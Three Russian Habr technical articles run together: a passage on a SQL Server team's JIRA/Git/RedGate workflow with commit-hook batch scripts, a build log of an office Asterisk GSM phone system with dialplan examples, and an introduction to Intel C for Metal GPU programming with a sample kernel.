Сегодня ситуация сильно изменилась (*хотя, кого я обманываю — только начинает меняться*) и я хотел бы поделиться как техническими, так и процедурными деталями решений, которые мы используем сейчас. Технические детали на 90% касаются непосредственно разработки для Microsoft SQL Server, а вот процедурные изменения у нас коснулись и веб-девелоперов, и инженеров, и аналитиков, и тестеров.
Сразу оговорюсь, я не являюсь представителем компаний/рекламщиком программных продуктов, которые я буду упоминать в статье. Выбор используемого софта лучше всего подходил для наших задач по функционалу, цене, а также удовлетворял моим личным предпочтениям.
Кому интересны подробности — добро пожаловать под кат.
Warning: очень много текста, описания процедур и процессов (*которые, может, никому и не интересны*).
Баг-трекинг, планирование и отслеживание проекта
------------------------------------------------
В качестве системы учета заявок было выбрано решение на базе Atlassian JIRA. Основными причинами были: тесная интеграция с другими продуктами, которые будут упоминаться в статье; крайне удобная работа по agile-методологии разработки; широкие возможности по кастомизации и автоматизации процессов.
Мы решили придерживаться двух-недельных Agile-спринтов с планированием разработки и тестирования на 3 спринта (т.е. на 1.5 месяца) вперед. О деталях самого процесса ниже.
Система контроля версий
-----------------------
Не скрою, я являюсь фанатом продуктов Atlassian. Для системы контроля версий был выбрал Atlassian Stash (Git). Однако применений веток разработки (branching), слияния веток (merging) и прочим прелестям Git в процессе разработки кода БД мы не нашли. Все коммиты происходят в master branch.
Для коммитов мы используем продукт RedGate Source Control (плагин для SSMS). Здесь мы столкнулись с первой технической сложностью: мне хотелось, чтобы по нажатию кнопки «Commit» в SSMS — код не просто коммитился, а также происходил push в репозиторий. Это оправдано с точки зрения разработки на shared-БД. Пока ведется разработка (изменения кода хранимой процедуры, изменение структуры таблиц) — изменения хранятся в самой базе. Как только разработка завершена код нужно видеть в source control. Как известно работа с Git представляет собой работу с локальным репозиторием, изменения из которого затем пушатся в репозиторий. К сожалению RedGate SC не умеет делать push «из коробки».
Для обхода данного ограничения было написано 2 bat-скрипта для RedGate, которые используются как pull и commit hooks. Когда разработчик обновляет список изменений в окне плагина — выполняется Pull, при котором репозиторий на станции разработчика становится идентичным текущему состоянию репозитория. Так, в списке на commit, остаются только изменения, которые присутствуют в БД, но отсутствуют в системе контроля версий.
После выбора изменений (к примеру хранимая процедура и таблица), которые следует закоммитить и нажатия кнопки Commit — изменения попадают в локальный репозиторий, а после этого, автоматически происходит push в Git.
Прикладываю файл конфигурации RedGate Source Control, а также исходники pull.bat и commit.bat, которые в нем используются:
**CommandLineHooks.xml**
```
xml version="1.0" encoding="utf-8" standalone="yes"?
Git\_CompanyName
GetLatest
%UserProfile%\Documents\SQLSourceControl\projectname\Pull.bat
exitCode == 0
Add
"C:\Program Files (x86)\Git\bin\git" add ($Files)
exitCode == 0
Edit
exitCode == 0
Delete
"C:\Program Files (x86)\Git\bin\git" rm ($Files)
exitCode == 0
Commit
%UserProfile%\Documents\SQLSourceControl\projectname\Commit.bat "($Message)"
exitCode == 0
Revert
"C:\Program Files (x86)\Git\bin\git" checkout "($ScriptsFolder)\"
exitCode == 0
```
**Pull.bat**
```
@echo off
set HOME=%USERPROFILE%
cd %UserProfile%\Documents\SQLSourceControl\projectname
"C:\Program Files (x86)\Git\bin\git" remote add origin ssh://git@stash.companyname.com:7999/projectname/projectname-sql.git
"C:\Program Files (x86)\Git\bin\git" pull --force origin master
```
**Commit.bat**
```
@echo off
set HOME=%USERPROFILE%
set comment=%1
cd %UserProfile%\Documents\SQLSourceControl\projectname
"C:\Program Files (x86)\Git\bin\git" remote add origin ssh://git@stash.companyname.com:7999/projectname/projectname-sql.git
"C:\Program Files (x86)\Git\bin\git" pull origin master
"C:\Program Files (x86)\Git\bin\git" commit -m %comment% -o %UserProfile%\Documents\SQLSourceControl\projectname-sql
"C:\Program Files (x86)\Git\bin\git" push origin master
```
Как можно заметить, работа со Stash/Git ведется через SSH с авторизацией по ключам. Первичная настройка Red-Gate задокументирована и по факту имеет 2 шага: установить плагин и запустить скрипт первоначальной настройки (который сам создаст нужные папки в профиле пользователя и сделает первый clone репозитория).
Процесс разработки и тестирования
---------------------------------
Думаю, тут стоит прерваться на то, как выстроен сам workflow для разработчиков. Обращу внимание, что все шаги процесса форсированы с помощью JIRA, где также производятся проверки различных условий для определения возможности или невозможности выполнения перехода (transition) задачи из одного статуса в другой.
Как обычно процесс начинается с создания Issue в JIRA. Это может быть баг-репорт, запрос новой фичи, модификация существующей фичи или идея. В зависимости от выбранного компонента, типа issue и due date данному билету выставляется приоритет. После этого он попадает в очередь планирования. Issue с высоким приоритетом в очереди планирования рассматриваются и планируются в течение 24-48 часов, все остальное — раз в неделю на планерках команды.
Под «планированием» я подразумеваю определение сложности и этапов задачи, объемов требуемой документации, общение с человеком от которого поступила заявка (для выяснения подробностей) и принятия решения о том в какой Agile Sprint следует поместить решение данной задачи.
Такой процесс требует обязательного выставления предварительной оценки сроков, необходимых для выполнения задачи. Спринты мы стараемся выстраивать таким образом, чтобы каждый разработчик был занят 33 часа в неделю. Оставшиеся 7 часов оставляем в качестве буфера для реакции на срочные задачи, встречи и ситуации, когда другой разработчик вышел на больничный/ушел в отпуск.
В случае «переполнения» текущего/будущего спринта требуется принимать решение о том, какие задачи мы можем отодвинуть на более поздний срок. Аналогично, в случае если разработчик остался без работы в течение спринта — можно переместить и взяться за выполнение задачи, запланированной на следующее окно.
Задачи могут находится в следующих статусах:
* Планирование (Triage);
* Отказ (Rejected);
* Готов к разработке (Development started);
* Разработка в процессе (In development);
* Ожидание (Impediment *— препятствие для продолжения разработки*);
* Готов к тестированию (Ready for QA);
* Готов к релизу (Ready for production);
* Закрыт (Resolved);
Перемещения задач между статусами возможны только согласно следующей схеме:
Ситуации, при которых должно происходить перемещение описаны на схеме (хоть и на английском, но думаю понимание не составит проблемы для читателей), так что повторяться я не буду. Лучше расскажу о том, чего на схеме не видно:
1. Большие задачи разделяются на под-задачи. Parent issue не может быть ни в одном из статусов кроме «Ready for development», «Development started» и «Impediment»;
2. Как только разработчик осуществляет commit — создается code-review для данного коммита (*о том как это происходит — ниже*);
3. Сделать коммит можно только при наличии ссылки на JIRA тикет в комменте, чтобы коммит, и в последствии ревью, были автоматически привязаны к issue;
4. Code-review мы решили считать частью процесса разработки, так что пока идет ревью — тикет находится в «Ready for development/Development started. Переместить тикет в „Ready for QA“ и тем более закрыть его пока открыт ревью — невозможно;
5. В случае если решение задачи невозможно из-за того, что есть „блокирующая“ задача — используется соответствующий link в JIRA. Пока блокирующий тикет не закрыт — issue будет находится в статусе „Impediment“ и закрыть его будет невозможно;
6. Да-да, вы все верно поняли, задачи не открываются повторно. В случае обнаружение бага/проблемы после релиза создается новый issue, который линкуется к предыдущему;
7. После того, как issue был закрыт — изменения для него будут автоматически применены на боевую базу при закрытии спринта (*о том как это происходит — также ниже*);
Краткое отступление: описанные процессы совместимы с IEEE стандартами по разработке.
Code-review
-----------
В качестве решения для ревью изменений кода мы используем Atlassian *(да неужели?!)* Fisheye/Crucible. Полная интеграция с JIRA и Stash позволяет быстро переходить со страницы issue к просмотру связанных коммитов и code-ревью. Никаких хитростей с интеграцией JIRA+Stash+Crucible/Fisheye нет, так что и рассказывать мне по этой теме больше нечего.
Непрерывная интеграция (continuous integration)
-----------------------------------------------
На мой взгляд это самая интересная часть нашего процесса (относительно БД). Как упоминалось ранее, мы работаем с общей (shared) базой данных, всего используется три сепарированных среды: Development, Test/QA и Production.
Development база данных всегда имеет самую последнюю версию, т.к. разработчики постоянно меняют код и схему именно в ней. Front-end приложение, которое обращается к данной базе также обновляется постоянно (как только у веб-разработчиков локально собрался (без ошибок) билд с новой фичей/исправлением — он сразу публикуется).
Все изменения в DEV публикуются в QA. Однако, говоря „все“ — я лукавлю. Публикуются только те изменения, которые закоммичены в source control (мы же не хотим публиковать что-то, что еще находится „в процессе разработки“). Так что вместо банальной синхронизации схемы мы используем возможности RedGate SQL CI и нашего билд-сервера — Atlassian Bamboo.
В Bamboo создан MSBuild план, который вызывает SQL CI. Как только происходит коммит SQL CI генерирует ALTER и CREATE команды, и накатывает их на QA базу данных.
Хоть мне и известно, что „настоящей“ непрерывной интеграцией следует считать такую же публикацию изменений на production, однако у меня не хватает смелости так делать. Вместо этого мы используем RedGate SQL Compare для синхронизации схемы с QA при закрытии спринта. Соответственно, если смотреть с точки зрения процесса — QA база для нас является production. Однако это не меняет подхода, который следует применять при разработке БД используя этот процесс — ни одно изменение не должно быть фатальным (breaking). В мире Microsoft SQL Server в качестве БД для веб-приложений это значит что при публикации версии процедур должны корректно завершаться и не вызывать deadlock-ов. Безусловно это требует соответствующей архитектуры веб-приложения — все запросы выполняются через хранимые процедуры, классы должны поддерживать отсутствие ожидаемых параметров у процедуры или их большее количество. Процедуры же должны поддерживать NULL-параметры и соответствующим образом реагировать на такие ситуации, не создавая угроз безопасности. В нашем случае это представляется возможным.
Заключение
----------
Я понимаю, что описанный мною сценарий может быть крайне специфичен, а его применение невозможно в других условиях. Однако я писал это с целью поделиться опытом с сообществом, и надеждой что может быть я познакомлю кого-то с новыми инструментами или дам шанс взглянуть на чужой процесс разработки — может Вы увидите где можно улучшить собственные процедуры, а может увидите моменты, в которых Ваш подход грамотнее и логичнее. Хотел рассказать гораздо больше — о том, как устроено и интегрировано в этот процесс автоматизированное тестирование (automated unit testing и integration testing), как мы используем Microsoft Data Quality Services для процесса QA, как организована документация, но текста получилось и так слишком много. Может сделаю это в отдельной статье. Ну а пока, буду рад вопросам и конструктивной критике. | https://habr.com/ru/post/258005/ | null | ru | null |
# Как менеджер мини-АТС с GSM и записями разговоров делал
Сегодня, в эру высоких технологий и безупречного клиентского сервиса, всем хочется быть на уровне. Многие компании в независимости от ранга и размера постоянно стараются сделать общение с клиентом удобнее и приятнее. В нашем интерне-агентстве, руководителем, которого я и являюсь, одной из таких «приятностей» стало введение в эксплуатацию небольшой мини-АТС на базе Openvox и Asterisk, собранной своими руками. Но давайте по-порядку:
#### **Проблема**
Телефон — является одним из основных каналов связи с клиентами в нашей работе. За день поступает множество звонков, которые нужно обработать. От использования аналоговой линии мы отказались сразу, ввиду алчности и ненадежности местных провайдеров. Да и устарели нынче аналоговые технологии. Решение использовать GSM-связь было единогласным и непоколебимым. В первые несколько лет работы за прием звонков отвечал вот такой вот не убиваемый аппарат:
Изначально звонки принимал я и мой партнер по-очереди, находясь в разных углах одного офиса. Когда клиент звонил и прослушав несколько сигналов бездушного зуммера просил с кем-нибудь соединить, то с большой вероятностью он мог услышать свист ветра, который создавал сей финский девайс, пролетая из одного угла офиса в другой. «Многоканальность» была реализована за счет наличия в данном телефоне двух слотов для сим-карт. О записи разговоров речи не было, голосовое приветствие и меню отсутствовали, метод трансфера звонков от одного специалиста к другому был описан выше. Сплошные минусы, в общем, и самое главное, что звонивший к нам человек с первых минут мог подумать, что звонит очередную шарашкину контору из полутора фрилансеров. Что было достаточно обидно, ведь свою работу мы делали хорошо, с гарантиями и душой.
Вдоволь намучившись, одним прекрасным днем я сказал громкое «Хватит!» и не менее громкое «Нужно что-то предпринять!»
#### **Задача**
Необходимо сделать такую «штуку», ~~которая решит все наши проблемы~~ которая заменит старенькую нокию. Эта «штука» должна уметь следующее:
* Как минимум 3 GSM линии;
* Головосое приветствие;
* Музыка вместо гудков;
* Удержание вызова;
* Трансфер вызова;
* Не менее трех независимых трубок, с возможностью расширения;
* Гибкую настройку переадресации вызова;
* Запись разговоров;
* АОН;
* Список контактов;
* Минимум проводов;
* Компактные размеры оборудования.
#### **Подбор решения**
Для решения задачи был выделен бюджет ни много ни мало 40 000 рублей Российской Федерации. Первым делом я выбрал самый тривиальный способ, а именно: обзвонил все компании в городе, которые могли установить и настроить мини-АТС. Компаний оказалось «великое множество», а именно одна (ох уж эти регионы), которая сказала, что если я умножу наш бюджет на 4, то получится сумма, которой будет достаточно, что бы они все наши «хотелки» сделали. На 4 умножать мне не хотелось, поэтому переходим к плану «Б» — облачная АТС. Благо, сейчас множество подобных сервисов с любым функционалом и на любой кошелек. Но смущает одно — полная зависимость связи от сервиса: нет интернета — нет связи, на сервисе тех. работы — нет связи, не вовремя заплатили абон. плату — нет связи. Да и сервис может в любой момент увеличить стоимость своих услуг или не вернуть данные (записи разговоров, к примеру). Такой вариант, так же меня не устроил. Оставался третий вариант — «костыльно-велосипедный». Что ж, геморроя больше, за то интересно. На нем и остановился.
#### **Выбор и покупка оборудования и софта**
Поскольку бюджет небольшой, да и любитель я всяких линуксов да опенсорсов. Поэтому с софтом определился сразу — Asterisk в качестве сервера телефонии. В качестве ОС использовал Ubuntu. С аппаратурой все не так просто, немного поразмыслив и переведя кучу бумаги, состряпал такую схему:
Основными элементами тут приходятся:
* сервер, на котором установлен Asterisk;
* GSM-шлюз;
* база беспроводных телефонных трубок;
* роутер, как связывающие звено;
* телефонные трубки.
Все работает следующим образом: На шлюз поступает звонок, он этот звонок принимает и отдает на сервер посредством витой пары и роутера. Сервер «берет трубку», играет приветствие, кидает звонок в режим ожидания и связывается с базой трубок. База выбирает нужную трубку и заставляет ее звонить. Когда менеджер принимает звонок, сервер соединяет клиента и менеджера.
Иду в ближайший интернет-магазин и кладу в корзину следующие товары:
* GSM Шлюз OpenVox VoxStack VS-GW1202-4G — *16 932 рублей*;
* База и 1 трубка Yealink W52P — *4 828 рублей*;
* Две дополнительные трубки Yealink W52H — *3 175 рублей*.
Вычеркиваю три пункта из списка оборудования, оставшиеся два спокойно можно достать в любом компьютерном магазине нашего городка. Да и хороший повод немного прогуляться:
* В качестве сервера: Неттоп DNS Porto 0166749 [Intel i5-3337U, 2x1800 МГц, 4096 Мб, HDD 500 Гб] — *11 500 рублей*;
* Бытовой роутер Zyxel Keenetic 4G II — *1 500 рублей*.
**Итого: 37921 рубль**
Что ж, очень даже хорошо, еще и на мороженое осталось.
*Прим. авт.: Дело было осенью 2014, поэтому цены несколько ниже, чем сейчас.*
#### **Получение и сборка оборудования**
Прошли две недели мучительного ожидания и замыленный курьер вручил мне долгожданную посылку. Содержимое:
##### OpenVox VoxStack VS-GW1202-4G
Шлюз представляет собой небольшой блок (размером со стандартный DVD-привод) и плату, которая помещается внутрь. Данная модель шлюза поддерживает 4 сим-карты, но может быть расширена до восьми путем покупки еще одной платы, которая вставляется рядом. Шлюз подключается в локальную сеть обычной витой парой и в электрическую при помощи адаптера питания.
##### База и трубки Yealink W52P
Компактная беспроводная база и три трубки. Каждая трубка оборудована зарядной станцией, имеет цветной дисплей и крепление на пояс. Выглядит все достаточно аккуратно. База рассчитана максимум на 5 телефонов. В случае дальнейшего расширения просто докупается еще одна база. Сигнал мощный, хороший прием через кирпичную стену. На качество связи так же жаловаться не приходится.
##### Неттоп DNS Porto 0166749
Компактный компьютер выступает в качестве сервера. Размером девайс сопоставим с вышеупомянутым OpenVox. Характеристики достаточны для бесперебойной работы телефонии и хранения записей разговоров на несколько месяцев. И зовут его, к стати, Артем.
Собираем все воедино в соответствии утвержденной схемой и устанавливаем ОС Ubuntu:
Теперь все готово для перехода к самому интересному шагу: настройке нашего сервера.
#### **Установка и настройка**
Первоначально установим сам Asterisk и GUI к нему. Пошаговый мануал, как этого добиться: <http://wiki.enchtex.info/howto/asterisk/asterisk-ubuntu-10.04>. Почему не freePBX? На вкус и цвет все фломастеры разные, статья ориентирована на новичков, а мне показалось, что GUI от Digium проще в установке и эксплуатации, в прочем, это сугубо мое мнение.
Теперь нужно «подружить» OpenVox и Asterisk. Сделать это достаточно просто. Сначала войдем в веб-GUI Asterisk (по-умолчанию: [localhost](http://localhost):8088), введем логин и пароль указанный при установке. Не долго думая идем по пути: Trunks -> VOIP Trunks -> New SIP/IAX Trunk и указываем следующие настройки:
Type: sip
Context Naming: Based on Username
Provider Name: openvox
Hostname: адрес openvox (по-умолчанию: 172.16.99.1)
Username: *придумываем имя пользователя*
Password: *придумываем пароль*
Далее следуем по адресу openvox (по-умолчанию: 172.16.99.1, дефолтный логин и пароль admin:admin) и видим панель управления. Кликаем SIP -> SIP endpoints -> Add New SIp Endpoint:
Name — придумаем имя
User Name — *имя пользователя, которое придумали ранее*
Password — *пароль, который придумали ранее*
Registration – This gateway registers with the endpoint
Идем в ADVANCED -> Asterisk CLI и пишем sip show registry, при удачном стечении обстоятельств увидим «1 SIP registrations», что означает, что все работает.
Теперь настроим правила для входящих и исходящих звонков в ROUTING -> Call Routing Rules -> New Call Routing Rule.
Исходящие:
Routing Name — имя роута (пусть будет «out-route»)
Call Comes in From — выбираем транк
Send Call Through — выбираем порт openvox'a
Для входящих вызовов все настраивается аналогично, единственный пункт который может вызвать затруднения — это параметр «Forward Number» для правил, тут нужно написать Extension на стороне asterisk на который будет идти звонок.
Продолжим настройку Asterisk GUI, создадим пользователей и правила для звонков, вот небольшой мануал, как это сделать: <http://invoip.net/2011/11/vvedenie-v-asterisk-gui/>
После того, как произведена начальная настройка Asterisk и Openvox нужно настроить базу трубок, она так же имеет веб-интерфейс, а настройка сводится к сопоставлению пользователей Asterisk и телефонных аппаратов. Теперь можно совершать и принимать звонки. Настало время сделать что-то поинтереснее.
#### **Прикручиваем различного рода «свистелки»**
Один из самых интересных файлов Asterisk — это «extensions.conf», в нем производится основная масса настроек. Через GUI создадим голосовое меню и сделаем перевод всех входящих вызовов на него, назовем его «voicemenu-custom-1». После этого можно задавать различные параметры того меню используя либо встроенный редактор GUI, либо открыв файл «extensions.conf» в любом текстовом редакторе.
##### Голосовое приветствие
Первоначально задумывалось, что клиент, позвонив к нам слышит голосовое приветствие, в котором сообщается куда он попал. Саму запись приветствия можно осуществить, как самостоятельно, так и обратившись в специализированную компанию, где профессиональный диктор запишет его своим голосом, наложит музыку и прочие звуковые эффекты. Вбиваем в гугл «запись голосового приветствия» и выбираем, то что понравилось. В среднем одна запись стоит от 1000 до 5000 рублей. Запись вы получите в формате mp3, который не очень охотно работает с Asterisk без плясок с бубном. Преобразуем файл в удобный для Asterisk формат:
```
sudo apt-get install sox lame
lame --decode musicfile.mp3 musicfile.wav
sox -V musicfile.wav -r 8000 -c 1 -t ul hello.ulaw
```
Полученный файл, положим в папку «asterisk/sounds» и вернемся к редактированию меню. Первоначально нам нужно взять трубку и проиграть приветствие, после этого соединить с нужным пользователем:
```
exten=s,1,Answer()
exten=s,2,Background(/var/lib/asterisk/sounds/hello)
exten=s,3,Dial(SIP/500,30,tm)
```
В «Background» переедаем путь до файла приветствия (только имя файла, без расширения). В «Dial» передаем идентификатор пользователя Asterisk, время в секундах, которое нужно для того, что бы проиграть приветствие и два параметра «t» (разрешает ответившему пользователю перевести звонок) и «m» (проигрывать музыку ожидания). Об остальных параметрах «Dial» можно узнать [тут](http://voip.rus.net/tiki-index.php?page=Asterisk+cmd+Dial).
##### Запись разговора
После того, как заработало голосовое приветствие и редактирование «extensions.conf» не вызывает затруднений, прикрутим запись разговоров. Пусть все записи складываются в директории разбитые по годам, месяцам и дням, а в названии файла записи присутствует дата, время и номер звонившего. Звучит сложно? А делается просто:
```
...
exten=s,n,Set(fname=${STRFTIME(${EPOCH},,%Y-%m-%d_%H-%M-%S)}_${CALLERID(number)}_in)
exten=s,n,MixMonitor(путь до директории с записями/${STRFTIME(${EPOCH},,%Y)}/${STRFTIME(${EPOCH},,%m)}
....
```
##### Многоканальность и переадресация
В ovenvox я вставил три сим-карты, к двум из них привязаны номера, на которые можно совершить звонок, третья карточка — резервная. На уровне оператора настроил переадресацию с первой на вторую, со второй на третью с третьей обратно на первую. Таким образом получилось три полноценных линии для звонка. Хочу сделать акцент на том, что поток звонков в моей компании большой, но не настолько, что бы позвонило одновременно три человека, поэтому такая схема для меня приемлема. Если поток станет больше, можно увеличить количество сим-карт до 8 и настроить очередь звонков.
Теперь выстроим логику таким образом: звонит первый клиент, менеджер берет телефон №1, тут же происходит второй входящий звонок, должен зазвонить телефон №2, которым воспользуется второй менеджер. Третий клиент будет соединен с третьим менеджером. Что бы это реализовать можно использовать условие «GotoIf»:
```
...
exten=s,n,Dial(SIP/500,30,tm)
exten=s,n,GotoIf($[${DIALSTATUS}=BUSY]?ZANAT,1)
exten=ZANAT,1,Dial(SIP/501,30,tm)
exten=ZANAT,2,GotoIf($[${DIALSTATUS}=BUSY]?ZANAT1,1)
exten=ZANAT1,1,Dial(SIP/502,30,tm)
exten=ZANAT1,2,GotoIf($[${DIALSTATUS}=BUSY]?ZANAT2,1)
exten=ZANAT2,1,Dial(SIP/500,30,tm)
...
```
Но что будет, если трубку никто не возьмет? Допустим, все ушли на обед или звонок поступил в выходной день. Выход банален: выбираем самого ответственного менеджера и записываем номер его мобильного телефона. Правим «extensions.conf» таким образом:
```
...
exten=s,n,Dial(SIP/500,30,tm)
exten=s,n,GotoIf($[${DIALSTATUS}=BUSY]?ZANAT,1)
exten=s,n,Dial(SIP/8914XXXXXXX@openvox,20,tm)
...
```
Теперь, если трубку никто не взял в течении 20 секунд, вызов будет переведен на указанный мобильный телефон. Со стороны клиента это будет выглядеть, как незначительно увеличенное время ожидания ответа. Можно пойти дальше и сделать переадресацию в нерабочее время без ожидания, но этот случай я рассматривать не буду.
##### Трансфер, АОН, список контактов
Все эти функции поддерживаются по-умолчанию и работают достаточно хорошо, что бы удовлетворить потребности моей компании, но если есть желание, их всегда можно улучшить. Например, список контактов можно подгружать в xml-файле из CRM-системы.
#### **Завершение работ**
Все собрав, настроив и проверив, я вдоволь насладился проделанной работой. Осталось все эти коробки и провода, аккуратно убрать куда-нибудь с глаз долой, например в большой железный ящик:
*Позже выяснилось, что засовывать базу беспроводных трубок в жестяную коробку — не самая лучшая идея, поэтому через пару дней вынесли ее наружу и прилепили сбоку.*
#### **Выводы**
С момента описанных событий прошло около 4 месяцев. За это время незначительные недоделки были устранены и все работает четко и без сбоев. Без учета времени доставки железок на все работу ушло около 5 дней времени. В итоге клиенты и менеджеры довольны, звонки пишутся, голосовые приветствия проигрываются, музыка в трубках звучит, уровень сервиса растет. Всем спасибо за внимание, надеюсь, что мое повествование было полезным и интересным. | https://habr.com/ru/post/252845/ | null | ru | null |
# C for Metal — драгоценный металл для вычислений на графических картах Intel
Сколько процессорных ядер Intel в вашем компьютере? Если вы пользуетесь системой на базе Intel, то в абсолютном большинстве случаев к вашему ответу надо будет прибавить единицу. В состав почти всех процессоров Intel — от Atom и до Xeon E3, естественно, не пропуская Core, уже много лет входит интегрированное графическое ядро Intel Graphics, являющееся по сути полноценным процессором, и соответственно, способное не только показывать на экране картинки и ускорять видео, но и выполнять «обычные» вычисления общего назначения. Как это можно эффективно использовать? Смотрите под катом.
Сначала кратко поясним, почему рассчитывать на Intel GPU стоит. Конечно же, производительность CPU в системе почти всегда значительно превышает GPU, на то он и Центральный Процессор.
Но интересно заметить, что производительность интегрированных GPU Intel за последнее десятилетие в процентном отношении выросла гораздо больше, чем у CPU, и эта тенденция обязательно продолжится с появлением новых дискретных видеокарт Intel. Кроме того, GPU в силу своей архитектуры (множество векторных исполнительных устройств) гораздо лучше приспособлен к исполнению определенного типа задач – обработке изображений, то есть, фактически, к проведению любых однотипных операций над массивами данных. GPU делает это с полным внутренним распараллеливанием, тратит на это меньше энергии, чем CPU, и в некоторых случаях даже превосходит его по абсолютной скорости. Наконец, GPU и CPU могут работать в параллель, каждый над своими задачами, обеспечивая максимальную производительность и/или минимальное энергопотребление всей системы в целом.
— Ок, Intel. Мы решили использовать Intel GPU для расчетов общего назначения, как это сделать?
— Простейший путь, не требующий никаких специальных знаний в графике (шейдеров Direct3D и OpenGL) — это OpenCL.
Ядра OpenCL платформонезависимы и автоматически выполнятся на всех доступных в системе вычислительных устройствах – CPU, GPU, FPGA и т.д. Но плата за такую универсальность – далеко не максимальная возможная производительность на каждом типе устройств, и особенно — на интегрированном Intel GPU. Здесь можно привести такой пример: при исполнении на любом Intel GPU кода, транспонирующего матрицу байтовых значений 16х16, преимущество в производительности «прямого программирования» Intel GPU в сравнении c OpenCL версией будет 8 раз!
Кроме того, некоторую функциональность, требуемую для реализации распространенных алгоритмов (например, «широких фильтров», использующих в одном преобразовании данные большой группы пикселей), OpenCL просто не поддерживает.
Поэтому, если вам требуется максимальная скорость на GPU и\или что-то более сложное, чем независимая работа с каждым элементом массива и его ближайшими соседями, то вам поможет Intel C for Metal (ICM)– инструмент для разработки приложений, исполняемых на Intel Graphics.
ICM – добро пожаловать в кузницу!
---------------------------------
С точки зрения производительности и функциональности ICM можно считать «ассемблером для графических карт Intel», а с точки зрения схемы и удобства использования – «аналогом OpenCL для графических карт Intel».
Много лет ICM использовался внутри Intel в разработке продуктов для обработки медиа на Intel GPU. Но в 2018 ICM был выпущен в публичный доступ, да еще и с открытым кодом!
Свое текущее имя Intel C for Metal получил несколько месяцев назад, до этого он именовался Intel C for Media (тот же акроним ICM или просто CM или даже Cm), а еще раньше — Media Development Framework (MDF). Так что, если где-то в названии компонент, в документации или в комментариях открытого кода встретятся старые названия — не пугайтесь, перед вами историческая ценность.
Итак, код ICM приложения, точно также, как в OpenCL, содержит две части: «административную», выполняемую на процессоре, и ядра, исполняемые на GPU. Неудивительно, что первая часть называется хост (host), а вторая – кернел (kernel).
Кернелы представляют собой функцию обработки заданного блока пикселей (или просто данных), пишутся на языке Intel C for Metal и компилируются в набор инструкций (ISA) Intel GPU с помощью компилятора ICM.
Хост — это своеобразный «менеджер команды кернелов», он администрирует процесс передачи данных между CPU и GPU и выполняет другую «менеджерскую работу» посредством библиотеки времени исполнения ICM Runtime и медиа-драйвера Intel GPU.
Подробная схема работы ICM выглядит так:
* ICM код хоста компилируется любым x86 C/C++ компилятором вместе со всем приложением;
* ICM код кернелов компилируется компилятором ICM в бинарный файл с некоторым общим набором инструкций (Common ISA);
* Во время исполнения этот общий набор инструкций JIT транслируется под конкретный Intel GPU;
* ICM хост вызывет ICM библиотеку времени исполнения для коммуникации с GPU и операционной системой.
Еще пара важных и полезных моментов:
* Используемые в ICM для представления\хранения данных поверхности могут разделяться с DirectX 11 и 9 (DXVA в Linux).
* GPU может брать и записывать данные как из видео-памяти, так и из системной памяти, разделяемой с CPU. В состав ICM входят специальные функции для обоих случаев передачи данных в обе стороны. При этом, системная память именно разделяемая, и реальное копирование в ней не потребуется – для этого в ICM предусмотрено так называемое нулевое копирование (zero copy).
ICM – в жерле вулкана!
----------------------
Уже из самого названия «Си для железа» следует, что устройство языка соответствует внутреннему устройству графики Intel. То есть, учитывается тот факт, что код будет выполняться на нескольких десятках исполнительных устройств (Execution Unit) графической карты, каждое из которых представляет собой полностью векторный процессор, способный исполнять несколько потоков одновременно.
Сам язык ICM – это C++ с некоторыми ограничениями и расширениями. По сравнению с C++ в ICM отсутствуют … указатели, выделение памяти и статические переменные. Под запретом также рекурсивные функции. Зато присутствует явная модель векторного (SIMD) программирования: векторные типы данных – вектор, матрица и поверхность; векторные операции на этих типах данных, векторные условия if/else, независимо выполняемые для каждого элемента вектора; а также встроенные функции для доступа к хардверной фиксированной функциональности Intel GPU.
Работу с векторами, матрицами и поверхностями в реальных задачах облегчают объекты «подмножеств» – из cоответствующих базовых объектов вы можете выбирать только интересующие вас, «референсные» блоки или, как частный случай, отдельные элементы по маске.
Например, давайте посмотрим на ICM код, реализующий линейный фильтр – замену значения
RGB цвета каждого пикселя усредненным значением его и 8 соседей по картинке:
| | |
| --- | --- |
| | **I(x,y) = [I(x-1, y-1) + I(x-1, y) + I(x-1, y+1) + I(x, y-1) +
+ I (x, y) + I(x, y+1) + I(x+1, y-1) + I(x+1, y) + I(x+1, y+1)] / 9** |
Если цвета (данные) в матрице расположены как **R8G8B8**, то вычисление с разбиением входного изображения на блоки размером 6х8 пикселей (6х24 байтовых элемента данных) будет таким:
```
_GENX_MAIN_ void linear(SurfaceIndex inBuf, SurfaceIndex outBuf,
uint h_pos, uint v_pos){
// объявляем входную матрицу 8x32
matrix in;
// матрица результата 6x24
matrix out;
matrix m;
// считываем входную матрицу
read(inBuf h\_pos\*24, v\_pos\*6, in);
// считаем сумму элементов - соседей
m = in.select<6,1,24,1>(1,3);
m += in.select<6,1,24,1>(0,0); m += in.select<6,1,24,1>(0,3); m += in.select<6,1,24,1>(0,6);
m += in.select<6,1,24,1>(1,0); m += in.select<6,1,24,1>(1,6);
m += in.select<6,1,24,1>(2,0); m += in.select<6,1,24,1>(2,3); m += in.select<6,1,24,1>(2,6);
// считаем среднее- деление на 9 примерно соответствует \* 0.111f;
out = m \* 0.111f;
// сохраняем результат
write(outBuf, h\_pos\*24, v\_pos\*6, out); }
```
* Размер матриц задается в виде <тип данных, высота, ширина>;
* оператор *select(i, j)* возвращает подматрицу начинающуюся с элемента *(i, j)*, *v\_size* показывает количество выбранных рядов, *v\_stride* – расстояние между выбранными рядами *h\_size* – количество выбранных столбцов, *h\_stride* — расстояние между ними.
Обратите внимание, что размер входной матрицы 8х32 выбран потому, что хотя для вычислений значений всех пикселей в блоке 6х24 алгоритмически достаточно блока 8х30, чтение блока данных в ICM происходит не по байтам, а по 32-битным dword-элементам.
Вышеприведенный код — это, фактически, полноценный ICM-кернел. Как было сказано, он будет скомпилирован компилятором ICM в две стадии (предкомпиляция и последующая JIT трансляция). Компилятор ICM построен на основе LLVM и, при желании, может быть [изучен в исходниках и собран вами самостоятельно](https://github.com/intel/cm-compiler).
А что же делает ICM-хост? Вызывает функции библиотеки времени исполнения ICM Runtime, которые:
* Создают, инициализируют и удаляют после использования GPU устройство (CmDevice), а также поверхности, содержащие пользовательские данные, используемые в кернелах (CmSurface);
* Работают с кернелами – загружают их из предкомпилированных *.isa* файлов, подготавливают их аргументы, указывающие на часть данных, с которыми будет работать каждый кернел;
* Создают и управляют очередью выполнения кернелов;
* Управляют схемой работы потоков, выполняющих каждый кернел на GPU;
* Управляют событиями (CmEvent ) — объектами синхронизации работы GPU и CPU;
* Передают данные между GPU и CPU, а точнее – между системной и видеопамятью;
* Сообщают об ошибках, измеряют время работы кернелов.
Простейший код хоста схематично выглядит так:
